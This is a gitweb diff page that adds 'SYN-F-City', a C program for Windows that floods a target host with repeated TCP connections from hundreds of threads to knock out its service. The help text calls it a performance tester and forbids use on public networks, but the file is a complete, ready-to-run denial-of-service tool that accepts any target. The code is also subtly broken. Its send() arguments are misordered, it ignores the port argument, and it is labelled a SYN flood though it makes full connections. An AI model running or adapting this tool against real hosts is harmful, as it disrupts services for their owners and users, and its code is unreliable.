C+WinSock IRC Bot and few other useless programs i've found on my freeshell account...
[mirrors/Programs.git] / c / synfcity.c
diff --git a/c/synfcity.c b/c/synfcity.c
new file mode 100755 (executable)
index 0000000..481441e
--- /dev/null
@@ -0,0 +1,158 @@
+/*\r
+SYN-F-City\r
+SynFlooder ( Optimized for DEV-C++ )\r
+I made this like a PortFuck alternative for Microsoft Windows Commandline.\r
+You can do anything what you want with this piece of software (and source code),\r
+but only at yours own risk and responsibility.\r
+You can modify and distribute this software as long as it's not used in public\r
+networks or against extraneous computer and as long as my name is mentioned.\r
+Sorry for my poor english and use it well. ;D\r
+\r
+                                                     <- Harvie 2oo7 */\r
+                                                     \r
+//Includes\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <windows.h>\r
+#include <stdio.h>\r
+#include <process.h>\r
+#include <winsock2.h> //don't forget to include Dev-Cpp/lib/libwsock32.a\r
+\r
+//Settings\r
+#define HOSTLEN 256 //Maximum hostname lenght\r
+char target_host[HOSTLEN] = "127.0.0.1"; //host\r
+unsigned int target_port = 80; //port\r
+int delay = 1000; //sleep in ms\r
+unsigned int threads_max = 300; //0 == infinite\r
+char mode = 1; //0 = reconnect on connect; 1 = wait for disconnection by server\r
+#define DATALEN 1024 //Maximum data lenght\r
+char snd_data[DATALEN] = ""; //Data to send (Optional)\r
+\r
+//Init\r
+char product[] = "SYNFCity";\r
+char version[] = "0.4 (2oo7)";\r
+int thread_report = 10;\r
+unsigned int thread_no = 1;\r
+\r
+//Socket thread\r
+unsigned __stdcall SecondThreadFunc( void* pArguments )\r
+{\r
+    unsigned int this_thread_no = thread_no;\r
+    //system("cls");\r
+    //printf( "[d] Thread #%d\n", this_thread_no ); //Debug\r
+    \r
+    //Sock///////////////////////////////////////\r
+    int s;\r
+    SOCKADDR_IN sck;\r
+    HOSTENT *host;\r
+    WSADATA wsadata;\r
+    \r
+    WSAStartup(MAKEWORD(1,1),&wsadata);\r
+    \r
+    if( (host=gethostbyname(target_host)) == NULL ) {\r
+        printf("\n[!] Host not found !!!\n");\r
+        exit(1);\r
+        }\r
+    sck.sin_family = PF_INET;\r
+    memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);\r
+    sck.sin_port = htons(80);\r
+      \r
+    while(1) {\r
+             s=socket(AF_INET, SOCK_STREAM,0);\r
+             while( !( connect(s,(struct sockaddr *)&sck,sizeof(sck)) ) ) { Sleep(100); }\r
+             if( strlen(snd_data) > 0 ) {\r
+                 send(s,snd_data,0,strlen(snd_data)); //Send data\r
+                 }\r
+             if(mode) {\r
+                      while( send(s,snd_data,0,strlen(snd_data)) != -1 ) { Sleep(3000);} //Wait for server side close\r
+                      }\r
+             //printf("[d] Reconnecting #%d\n", this_thread_no); //Debug\r
+             closesocket(s);\r
+    }\r
+    //Sock end//////////////////////////////////\r
+\r
+    _endthreadex( 0 );\r
+    return 0;\r
+} \r
+\r
+//MAIN\r
+int main(int argc, char *argv[])\r
+{ \r
+    //Help\r
+    if(argc < 3) { \r
+            printf("\n%s %s\n\nHarvie's Windows SYNFlood based service performance tester\n(PortFuck commandline alternative)\n\n", product, version);\r
+            printf("   Usage: %s host port [delay] [socks_max] [mode] [\"data\"]\n\n", product);\r
+            printf("host - yours testing target\n");\r
+            printf("port - port with target service\n");\r
+            printf("delay - wait between thread creating (ms)\n");\r
+            printf("socks_max - maximum of threads/sockets; 0 = infinite -don't do with short delay\n");\r
+            printf("mode - (0|1); 0 = reconnect on connect; 1 = wait for disconnection by server\n");\r
+            printf("data - send this string to the server (\"\\n\\n\" will be added)\n");\r
+            printf("\n");\r
+            printf("This values will be used implicitly:\n   %s %s %d %d %d %d \"%s\"\n", product, target_host, target_port, delay, threads_max, mode, snd_data);\r
+            printf("\n\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !! WARNING - TERMS OF USE - READ CAREFULLY !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! THIS IS FREEWARE AND COMES WITH ABSOLUTELY NO WARRANTY !!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! IT'S PROHIBITED TO USE THIS SOFTWARE IN PUBLIC NETWORKS !!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! USE THIS TEST ONLY AGAINST YOURS OWN COMPUTERS !!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR USING THIS PROGRAM !!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR YOU !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!! USE THIS ONLY ON YOURS OWN RISK !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!! DON'T USE THIS SOFTWARE IF YOU DOESN'T UNDERSTOOD OR YOU DON'T AGREE !!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <- HARVIE 2oo7 !!!\n");\r
+            printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
+            printf(" !I have done this only to test my own server's resistance against DoS attacks!\n");\r
+            printf("\n");\r
+            if(argc < 2) { \r
+                    printf("Press any key, if you are sure, that you understand and you agree with terms of use. Otherwise close the window. (Run this program with more than zero arguments to prevent this confirmation, if you want dump help to file, etc...)\n");\r
+                    system("pause");\r
+                    }\r
+            return(1);\r
+            }\r
+    \r
+    //Parse arguments\r
+    if(argc > 1) { snprintf(target_host, HOSTLEN, "%s", argv[1]); }\r
+    if(argc > 2) { target_port = atoi(argv[2]); }\r
+    if(argc > 3) { delay = atoi(argv[3]); }\r
+    if(argc > 4) { threads_max = atof(argv[4]); }\r
+    if(argc > 5) { mode = atoi(argv[5]); }\r
+    if(argc > 6) { snprintf(snd_data, DATALEN,"%s", argv[6]); }\r
+    printf("[*] %s host: %s port: %d\n[i] delay: %d socks_max: %d mode: %d data: %s", product, target_host, target_port, delay, threads_max, mode, snd_data);\r
+    if(strlen(snd_data) > 0) { snprintf(snd_data, DATALEN,"%s\n\n", snd_data); }\r
+    \r
+    \r
+    //Load\r
+    HANDLE hThread;\r
+    unsigned threadID;\r
+    printf("[!] SynFlooding %s:%d\n[i] C-c 2 stop\n\n", target_host, target_port);\r
+    printf( "[T] Creatin' some threadzz... ;))\n" );\r
+    printf( "[i] Showing only each %dth thread:\n", thread_report );\r
+\r
+    //Fire ;))\r
+    while(1) {\r
+             hThread = (HANDLE)_beginthreadex( NULL, 0, &SecondThreadFunc, NULL, 0, &threadID );\r
+             if(hThread == 0) {\r
+                        printf("\n[!] Reached maximum number of threads allowed by system.\n");\r
+                        break;\r
+                        }\r
+             if(thread_no % thread_report == 0) {\r
+               printf( "[#] Thread #%d was succesfully created.\n", thread_no ); //Debug\r
+               }\r
+             Sleep(delay);\r
+             thread_no++;\r
+             if(threads_max != 0) {\r
+                            if(thread_no > threads_max) { \r
+                                         printf("\n[!] Reached previously selected maximum number of threads.\n");\r
+                                         break;\r
+                                         }\r
+             }\r
+    }\r
+    \r
+    printf("[!] Working...\n[i] C-c 2 stop\n\n");\r
+    //Doo something useful while running ;D\r
+    while(1) { sleep(60000); }\r
+}\r
This page took 0.382592 seconds and 4 git commands to generate.